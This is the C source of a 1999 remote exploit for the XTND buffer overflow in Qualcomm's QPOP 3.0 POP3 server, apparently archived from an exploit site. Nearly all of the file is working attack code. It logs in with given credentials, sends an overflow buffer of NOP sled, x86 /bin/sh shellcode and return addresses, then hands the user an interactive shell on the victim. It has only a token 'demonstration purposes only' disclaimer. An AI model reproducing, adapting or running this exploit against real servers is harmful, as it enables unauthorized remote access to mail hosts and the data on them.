home *** CD-ROM | disk | FTP | other *** search
- /*
- * Linux(x86) - Crappy exploit for QPOP3.0's XTND bug - PUBLIC VERSION
- *
- * This bug was fixed silently by Qualcomm in one of the later betas.
- * Discovered and exploited by p0rTaL (portal@security.is) Nov 20th 1999
- * Greetings go to the security.is team, (\x90, DiGiT, duke, doze), #!teso
- * and Ircnet's #hax.
- * Compiles on Linux, porting should be easy.
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <arpa/inet.h>
- #include <getopt.h>
- #include <unistd.h>
- #include <signal.h>
- #include <errno.h>
-
-
- #define MAX_TYPE 1
- #define MAX_SHELLCODE 2
- #define NOP '\x90' /* x86 only */
- #define APPEND_ADDRESSES 3
-
- #define HARDCORE
- #define DEBUG
-
- #define LINEFEED "\r\n"
-
-
- int sock = -1;
- int port = 110; //this ought to be the default
- int type = 0;
- int shellcode_num = -1; //use the default
- int offset = 0;
- int impact_place = 993;
- int appenders = APPEND_ADDRESSES;
- unsigned char buffer[1500];
- struct in_addr in;
- char *victim = NULL;
-
-
- typedef struct
- {
- char *platform;
- char *function;
- char *code;
- }
- SHELLCODE;
-
-
- typedef struct
- {
- char *platform;
- char *version;
- char *tested_on;
- SHELLCODE *shellcode;
- unsigned long address;
- }
- PLATFORM;
-
-
- SHELLCODE shellcodes[] =
- {
- {
- "Linux libc", "Standard dup2() /bin/bash interactive pipe",
- "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
- "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
- "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
- "\xff\xff/bin/sh........."
- }, {
- NULL, NULL, NULL
- }
- };
-
-
- PLATFORM platforms[] =
- {
- { "Slackware Linux", "3.0b20", "4.0", &shellcodes[0], 0xbffff3e8 },
- { NULL, NULL, NULL, 0, 0 }
- };
-
-
- struct
- {
- char on;
- unsigned long start;
- unsigned long now;
- unsigned long end;
- int step;
- }
- bruteforce;
-
-
-
- void do_lookup (void)
- {
- struct hostent *he;
-
- if ( (he = gethostbyname (victim)) != NULL)
- {
- memcpy (&in, he->h_addr, he->h_length);
- printf ("Resolved %s to %s\n", victim, inet_ntoa(in));
- }
- else
- if ( (inet_aton (victim, &in)) < 0)
- {
- fprintf (stderr, "Unable to resolve %s. (errno == %d)\n", victim, errno);
- exit (-1);
- }
-
- if ( (sock = socket (AF_INET, SOCK_STREAM, 0)) < 0)
- {
- fprintf (stderr, "\"Socketation\" failed. (errno == %d)\n", errno);
- exit (-1);
- }
- }
-
-
- void do_connect (void)
- {
- struct sockaddr_in si;
-
- memset ((char *)&si, '\0', sizeof (si)); //should clean sin_zero as well
- si.sin_family = AF_INET;
- si.sin_addr.s_addr = in.s_addr;
- si.sin_port = htons(port);
-
- if ( (connect (sock, (struct sockaddr *) &si, sizeof (si))) < 0)
- {
- fprintf (stderr, "Unable to connect to %s:%d, errno == %d\n", victim, port, errno);
- exit (-1);
- }
-
-
- // connect (sock, (struct sockaddr *)&si, sizeof(si));
- }
-
-
-
-
- void usage(char *progname)
- {
- int i;
-
- printf ("QPOP3.0-XTND remotely local exploit :)\n");
- printf ("Discovered and exploited Nov. 20th 1999 by p0rTaL (portal@security.is)\n\n");
- printf ("Usage: %s <hostname> <user> <passwd> [-p port] [-t type] [-o offset] [-s shellcode]\n", progname);
- printf ("Currently supported platforms:\n");
-
- for (i = 0; platforms[i].platform != NULL; i++)
- printf ("%d: %s %s, QPOP %s, shellcode %s - 0x%x\n", i, platforms[i].platform, platforms[i].tested_on,
- platforms[i].version, platforms[i].shellcode->platform, platforms[i].address);
-
- printf ("\nCurrent shellcodes:\n");
- for (i = 0; shellcodes[i].platform != NULL; i++)
- printf ("%d: %s (%d bytes) - %s\n", i, shellcodes[i].platform, strlen (shellcodes[i].code), shellcodes[i].function);
-
- printf ("\n This exploit is for demonstration purposes only. You, and only you, are\n");
- printf (" responsible for your OWN actions.\n\n");
- exit (0);
- }
-
-
-
- void receive (void)
- {
- unsigned char buf[1500+1];
- int i;
-
- memset (buf, '\0', sizeof(buf));
- if ( (read (sock, buf, sizeof(buf)-1)) < 0)
- {
- fprintf (stderr, "An error occured while reading from the server. (errno == %d)\n", errno);
- close (sock);
- exit (-1);
- }
- printf ("READ: \033[1;34m");
- for (i = 0; i < strlen(buf); i++)
- if (!iscntrl(buf[i]))
- printf ("%02x ", buf[i]);
-
- printf ("\033[0;37m\n(%s)\n", buf);
- }
-
-
- void transmit (char *string) //no need for a VA list
- {
- if ( (write (sock, string, strlen(string))) < 0)
- {
- fprintf (stderr, "An error occured during a write attempt to the server. (errno == %d)\n", errno);
- exit (-1);
- }
- }
-
-
- void terminal (int sock)
- {
- char buffer[1024+1];
- fd_set remote_fds;
- fd_set local_fds;
- int i;
-
- for (i = 0; i < NSIG; i++)
- if (i != SIGINT) //allow the user to ctrl+c out
- signal (i, SIG_IGN);
-
- FD_ZERO (&local_fds);
- FD_SET (0, &local_fds);
- FD_SET (sock, &local_fds);
-
- while (1)
- {
- memcpy (&remote_fds, &local_fds, sizeof(local_fds));
- if ( (i = select (sock + 1, &remote_fds, NULL, NULL, NULL)) < 0)
- {
- fprintf (stderr, "Error, select() returned %d, errno is %d\n", i, errno);
- exit(-1);
- }
- if (i == 0)
- {
- fprintf (stderr, "Session was terminated by foreign host.\n");
- exit(0);
- }
- if (FD_ISSET (sock, &remote_fds))
- {
- if ( (i = read(sock, buffer, sizeof(buffer))) < 0)
- {
- /* the user got disconnected, most probably */
- #ifdef DEBUG
- fprintf (stderr, "read() failed, returned %d, errno is %d\n", i, errno);
- #endif
- fprintf (stderr, "\nDisconnected!\n");
- exit(0);
- }
- write (1, buffer, i); //stdout, receive
- // receive();
- }
-
-
- if (FD_ISSET (0, &remote_fds))
- {
- memset (buffer, '\0', sizeof(buffer));
- if ( (i = read(0, buffer, sizeof(buffer))) < 0)
- {
- fprintf (stderr, "read() returned %d, errno is %d\n", i, errno);
- exit(-1);
- }
- write (sock, buffer, i); //transmit
- }
-
- }
- }
-
-
- void log_on (char *user, char *password, int sock)
- {
- char buf[1024+1];
- int messages = 0;
-
- printf ("-> Authenticating ...\n");
-
- write (sock, "USER ", 5);
- write (sock, user, strlen(user));
- write (sock, LINEFEED, strlen(LINEFEED));
- usleep (500000); //assuming great bandwidth
- memset (buf, '\0', sizeof(buf));
- if ( (read (sock, buf, sizeof(buf)-1)) < 0)
- {
- fprintf (stderr, "Remote server closed the connection during USER phase.\n");
- close (sock);
- exit(-1);
- }
- #ifdef DEBUG
- printf (" READ: (%s)\n", buf);
- #endif
- write (sock, "PASS ", 5);
- write (sock, password, strlen(password));
- write (sock, LINEFEED, strlen(LINEFEED));
- usleep (500000);
- memset (buf, '\0', sizeof(buf));
- if ( (read (sock, buf, sizeof(buf)-1)) < 0)
- {
- fprintf (stderr, "Remote server closed the connection during PASS phase.\n");
- close (sock);
- exit(-1);
- }
- if ( (strstr (buf, "+OK")) && (strstr (buf, "message")) )
- {
- printf ("-> Successfully logged on as \"%s\"\n", user);
- *(strstr (buf, " message")) = '\0'; //terminate it
- messages = atoi( (char *)(strstr (buf, "has") + 4) );
- printf ("-> Message%s: %d ", (messages == 1) ? "" : "s", messages);
- if (messages <= 0)
- {
- printf ("\033[1;31m=\033[0;37m Not OK\n\n"
- "ERROR: The LIST vulnerability cannot be exploited except\n"
- " if there are existing messages in the mailbox.\n"
- " Go send yourself a mail :)\n");
- close (sock);
- exit (-1);
- }
- printf ("- OK\n");
- }
- else
- {
- fprintf (stderr, "Unable to log on, incorrect user/password or something.\n");
- fprintf (stderr, "Last response from server:\n\"%s\"\n", buf);
- close (sock);
- exit(-1);
- }
- }
-
-
-
- int main(int argc, char **argv)
- {
- int i, next_arg = 0;
- char *progname = argv[0];
- char *remote_user = NULL,
- *remote_passwd = NULL;
-
- if (argc < 4)
- usage(progname);
-
- memset ((char *)&bruteforce, '\0', sizeof((char *)&bruteforce));
-
- victim = (char *)strdup(argv[1]);
- argv++;
- argc--;
-
- remote_user = (char *)strdup(argv[1]);
- argv++;
- argc--;
-
- remote_passwd = (char *)strdup(argv[1]);
- argv++;
- argc--;
-
- while ( (next_arg = getopt(argc, argv, "p:t:s:o:r:i:b")) != EOF)
- switch (next_arg)
- {
- case 'p':
- if ( (atoi(optarg) < 0) || (atoi(optarg) > 65535) )
- {
- fprintf (stderr, "Outrageous port-number! Stick with a number below 65535 (and above zero)\n");
- usage (progname);
- }
- port = atoi(optarg);
- printf (" -> Port set to %d.\n", port);
- break;
- case 't':
- if ( (atoi(optarg) < 0) || (atoi(optarg) > MAX_TYPE) )
- {
- fprintf (stderr, "Invalid type, should range from 0 to %d.\n", MAX_TYPE);
- usage (progname);
- }
- type = atoi(optarg);
- printf (" -> Type set to %d, %s %s.\n", type, platforms[type].platform, platforms[type].tested_on);
- break;
- case 's':
- if ( (atoi(optarg) < 0) || (atoi(optarg) > MAX_SHELLCODE) )
- {
- fprintf (stderr, "Invalid shellcode number, should range from 0 to %d.\n", MAX_SHELLCODE);
- usage (progname);
- }
- shellcode_num = atoi(optarg);
- printf (" -> Shellcode set for %s, %s.\n", shellcodes[shellcode_num].platform, shellcodes[shellcode_num].function);
- break;
- case 'o':
- if (bruteforce.on == 1)
- {
- fprintf (stderr, "You cannot specify -offset and -bruteforce at the same time.\nMake up your mind!\n");
- exit (-1);
- }
- offset = atoi(optarg);
- printf (" -> Offset set to %d.\n", offset);
- break;
- case 'b':
- bruteforce.on = 1;
- printf (" -> Bruteforce mode selected (not fully implemented in this version)\n");
- printf (" -> Enter offsets seperated with a space, and a 'step' number (e.g. \"bfffffff bfff0000 4\"):\n ");
- if ( (fscanf (stdin, "%x %x %d", &bruteforce.start, &bruteforce.end, &bruteforce.step)) != 3)
- {
- fprintf (stderr, "Unknown offsets.\n");
- exit (-1);
- }
- break;
- case 'i':
- impact_place = atoi(optarg);
- printf (" -> Place of impact set to %d.\n", impact_place);
- break;
- case 'r':
- appenders = atoi(optarg);
- printf (" -> Number of return addresses set to %d.\n", appenders);
- break;
- default:
- fprintf (stderr, "Fictional option: '%c', please take your medication.\n", next_arg);
- usage (progname);
- break;
- }
-
- do_lookup();
-
- printf ("\nAttacking %s, a %s %s host\n", victim, platforms[type].platform, platforms[type].tested_on);
-
- if (shellcode_num != -1)
- {
- platforms[type].shellcode = &(shellcodes[shellcode_num]);
- printf (" - Using %s shellcode\n", shellcodes[shellcode_num].platform);
- }
- else
- printf (" - Using the default shellcode, %s\n", platforms[type].shellcode->platform);
-
- if (bruteforce.on == 0)
- {
- platforms[type].address -= offset;
- printf (" - Using return address %#x\n", platforms[type].address);
- printf ("\nAssembling shellspawning code\n");
- }
- else
- printf (" - Going to bruteforce from %#x to %#x in steps of %d\n", bruteforce.start, bruteforce.end, bruteforce.step);
-
- printf ("-> Connecting to %s, port %d\n", inet_ntoa(in), port);
-
- do_connect();
- receive ();
- log_on (remote_user, remote_passwd, sock);
-
- memset (buffer, '\0', sizeof(buffer));
- strcpy (buffer, "XTND "); //the bug lies in pop_xtnd.c
-
-
- #ifdef DEBUG
- printf ("Step 1, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
- #endif
-
- memset (buffer+strlen(buffer), NOP, sizeof(buffer)-strlen(buffer)-1);
-
- #ifdef DEBUG
- printf ("Step 2, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
- #endif
-
- strncpy (buffer + impact_place - strlen(platforms[type].shellcode->code), platforms[type].shellcode->code,
- sizeof(buffer) - impact_place - 5 - 1);
- //impact_place + strlen(platforms[type].shellcode->code) - (APPEND_ADDRESSES * sizeof(platforms[type].address) + 2) - 1);
-
- #ifdef DEBUG
- printf ("Step 3, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
- #endif
-
- i = 0;
-
- while (i < appenders)
- {
- /*
- o = buffer + strlen(buffer);
- *(o) = (platforms[type].address & 0x000000ff);
- *(o+1) = (platforms[type].address & 0x0000ff00) >> 8;
- *(o+2) = (platforms[type].address & 0x00ff0000) >> 16;
- *(o+3) = (platforms[type].address & 0xff000000) >> 24;
- *(o+4) = '\0';
- [2000]*/
-
- memcpy ((char *)&buffer + strlen(buffer), &platforms[type].address, 4);
- #ifdef HARDCORE
- printf ("-> sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
- #endif
- i++;
- }
-
- strcpy (buffer + strlen(buffer), "\x0d\x0a"); // \x00 gets appended automatically
-
-
- #ifdef HARDCORE
- printf ("Code is:\n\033[1;31m");
- for (i = 0; i < strlen(buffer); i++)
- printf ("%02x ", buffer[i]);
-
- printf ("\033[0;37m\n");
- #endif
-
- transmit (buffer);
- receive ();
- printf ("Got shell!\n");
-
-
- terminal (sock);
-
- close (sock);
- //not reached
-
- return (0);
- }
- /* www.hack.co.za [8 June 2000]*/